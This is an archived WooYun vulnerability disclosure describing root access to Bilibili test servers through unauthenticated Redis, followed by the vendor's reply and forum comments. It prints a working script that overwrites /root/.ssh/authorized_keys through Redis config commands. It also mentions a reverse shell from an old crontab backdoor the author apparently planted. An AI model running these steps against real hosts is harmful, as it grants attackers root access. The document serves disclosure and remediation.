当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0154465

漏洞标题：Bilibili 内网漫游：redis 获取 root 权限

相关厂商：bilibili.com

漏洞作者： Ricter

提交时间：2015-11-20 10:29

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-20： 细节已通知厂商并且等待厂商处理中
2015-11-20： 厂商已经确认，细节仅向厂商公开
2015-11-30： 细节向核心白帽子及相关领域专家公开
2015-12-10： 细节向普通白帽子公开
2015-12-20： 细节向实习白帽子公开
2016-01-11： 细节向公众公开

简要描述：

我假装闲来无事地在 VPS 上监听了某一个端口，然后突然反弹过来一个 shell。嗯，假装是不知道哪年哪月的一个 crontab 后门再次把我带入了 Bilibili 的内网。
内网存在许多 redis 未授权访问，为什么不问问神奇海螺呢？

详细说明：

我假装闲来无事地在 VPS 上监听了某一个端口，然后突然反弹过来一个 shell。

1.png


估计是之前留的 crontab 后门，不过这不重要。
前几天爆出了 redis 未授权访问然后写 authorized_keys 来强行拿权限，总之原理是如此如此，可以看 https://www.sebug.net/vuldb/ssvid-89715 来了解具体利用。
在 B 站内网扫描了一下 6379 端口，然后写了一个 sh 脚本来自动化执行。 

redis-cli  -h $1 flushall
    cat foo.txt | redis-cli -h $1 -x set 1
    redis-cli -h $1 config set dir /root/.ssh
    redis-cli -h $1 config set dbfilename authorized_keys
    redis-cli -h $1 save


2.png


然后“姆Q”的一下子，成功了一个。

3.png


Bilibili (゜-゜)つロ 乾杯~
由于 redis 是用 root 权限启动的，所以直接能在 /root/.ssh/ 下面写文件。

5.png


4.png

漏洞证明：

3.png


5.png


4.png


如图所示

修复方案：

用 nobody 权限来启动 redis。
另外测试的 172.16.0.208、172.16.0.203 的 authorized_keys 已恢复，crontab 后门已清理。
_(:3」∠)_我怕 erevus 打死我

版权声明：转载请注明来源 Ricter@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-11-20 11:40

厂商回复：

影响测试环境内网

最新状态：

暂无

漏洞评价：

评价

  1. 2015-11-20 10:36 | 染血の雪 ( 普通白帽子 | Rank:205 漏洞数:31 | 你挖 或者不挖漏洞就在哪儿不多 不少)

    这都行

  2. 2015-11-20 10:45 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    666

  3. 2015-11-20 10:47 | Fire ant ( 实习白帽子 | Rank:93 漏洞数:31 | 他们回来了................)

    炮姐表示不服

  4. 2015-11-20 10:56 | Azazel ( 实习白帽子 | Rank:38 漏洞数:8 | 别威胁哥，哥不是好惹的)

    卧槽，洞王666

  5. 2015-11-20 11:03 | xsjswt ( 普通白帽子 | Rank:156 漏洞数:49 | 我思故我猥琐，我猥琐故我强大)

    金坷垃表示不服，必须要向音乐区宣战

  6. 2015-11-20 11:13 | CHai ( 路人 | Rank:1 漏洞数:1 | 萌新。)

    炸了，炸了好多基佬厚

  7. 2015-11-20 11:19 | Fire ant ( 实习白帽子 | Rank:93 漏洞数:31 | 他们回来了................)

    楼主投错区系列

  8. 2015-11-20 11:19 | Fire ant ( 实习白帽子 | Rank:93 漏洞数:31 | 他们回来了................)

    23333333333333333不就是硬币嘛 我给了

  9. 2015-11-20 11:30 | 银冥币 ( 实习白帽子 | Rank:65 漏洞数:24 | test" src="/upload/avatar/avatar_251_b.j...)

    先膜RR后膜橙

  10. 2015-11-20 11:35 | scanf ( 核心白帽子 | Rank:1334 漏洞数:195 | 。)

    膜拜 硬币奉上

  11. 2015-11-20 12:19 | leakless ( 路人 | Rank:6 漏洞数:3 | 今天我没吃药感觉自己萌萌哒~~)

    热烈祝贺rr进入b站内网

  12. 2015-11-20 12:38 | erevus ( 普通白帽子 | Rank:197 漏洞数:32 )

    在顺着网线的路上

  13. 2015-11-20 12:48 | scanf ( 核心白帽子 | Rank:1334 漏洞数:195 | 。)

    @erevus 网线被他那猫咬断了怎么办QAQ

  14. 2015-11-20 12:58 | Msyb ( 实习白帽子 | Rank:49 漏洞数:13 | 非常荣幸加入乌云。)

    我要这硬币有何用(╯‵□′)╯︵┻━┻

  15. 2015-11-20 13:14 | Aklis ( 路人 | Rank:4 漏洞数:1 | 希望不断更)

    前排膜R

  16. 2015-11-20 13:16 | 边城小狗 ( 路人 | Rank:0 漏洞数:1 | 解决大祸的手段就是惹一场更大的祸事)

    处女币奉上

  17. 2015-11-20 14:16 | 剑芯 ( 实习白帽子 | Rank:43 漏洞数:11 | xsser)

    B站看片，指日可待

  18. 2015-11-20 14:17 | 剑芯 ( 实习白帽子 | Rank:43 漏洞数:11 | xsser)

    大家好，我是霍元钾，我已经报警大家好，我是粮静如，我已经报警大家好，我是容中而钾，我也报警了

  19. 2015-11-20 14:17 | 剑芯 ( 实习白帽子 | Rank:43 漏洞数:11 | xsser)

    真当元首不上B站，渣渣

  20. 2015-11-20 14:18 | 剑芯 ( 实习白帽子 | Rank:43 漏洞数:11 | xsser)

    我是比利 海磷吨，我已经报警

  21. 2015-11-22 12:51 | 金坷垃 ( 实习白帽子 | Rank:80 漏洞数:13 | 漏洞掺了金坷垃，一个能顶两个发)

    @银冥币 从此节操是路人